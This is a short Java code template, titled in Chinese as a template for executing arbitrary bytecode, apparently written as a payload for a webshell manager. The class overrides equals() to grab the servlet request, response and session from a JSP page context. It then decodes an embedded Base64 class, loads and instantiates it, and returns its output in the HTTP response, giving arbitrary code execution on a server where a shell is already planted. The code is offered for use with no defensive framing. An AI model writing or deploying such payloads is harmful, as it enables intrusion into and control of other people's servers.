执行任意Java字节码模板

输出放到toString中。

import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
import javax.servlet.jsp.PageContext;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
import java.util.Base64;
 
public class Test extends ClassLoader{
 
    private Object Request;
    private Object Response;
    private Object Session;
    private static final String BASE64_CLASS =
            "";
 
    @Override
    public boolean equals(Object obj) {
 
        try {
            fillContext(obj);
            ServletOutputStream so = ((ServletResponse) Response).getOutputStream();
            byte[] classBytes = Base64.getDecoder().decode(BASE64_CLASS);
 
            Class<?> clazz = this.defineClass(classBytes, 0, classBytes.length);
 
 
            Object instance = clazz.getDeclaredConstructor().newInstance();
            so.write(instance.toString().getBytes("UTF-8"));
            so.flush();
            so.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return true;
    }
 
    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getDeclaredMethod("getRequest", new Class[] {}).invoke(obj);
            this.Response = obj.getClass().getDeclaredMethod("getResponse", new Class[] {}).invoke(obj);
            this.Session = obj.getClass().getDeclaredMethod("getSession", new Class[] {}).invoke(obj);
        } else {
            Map<String, Object> objMap = (Map<String, Object>) obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }
        Response.getClass().getDeclaredMethod("setCharacterEncoding", new Class[] { String.class }).invoke(Response,
                "UTF-8");
    }
}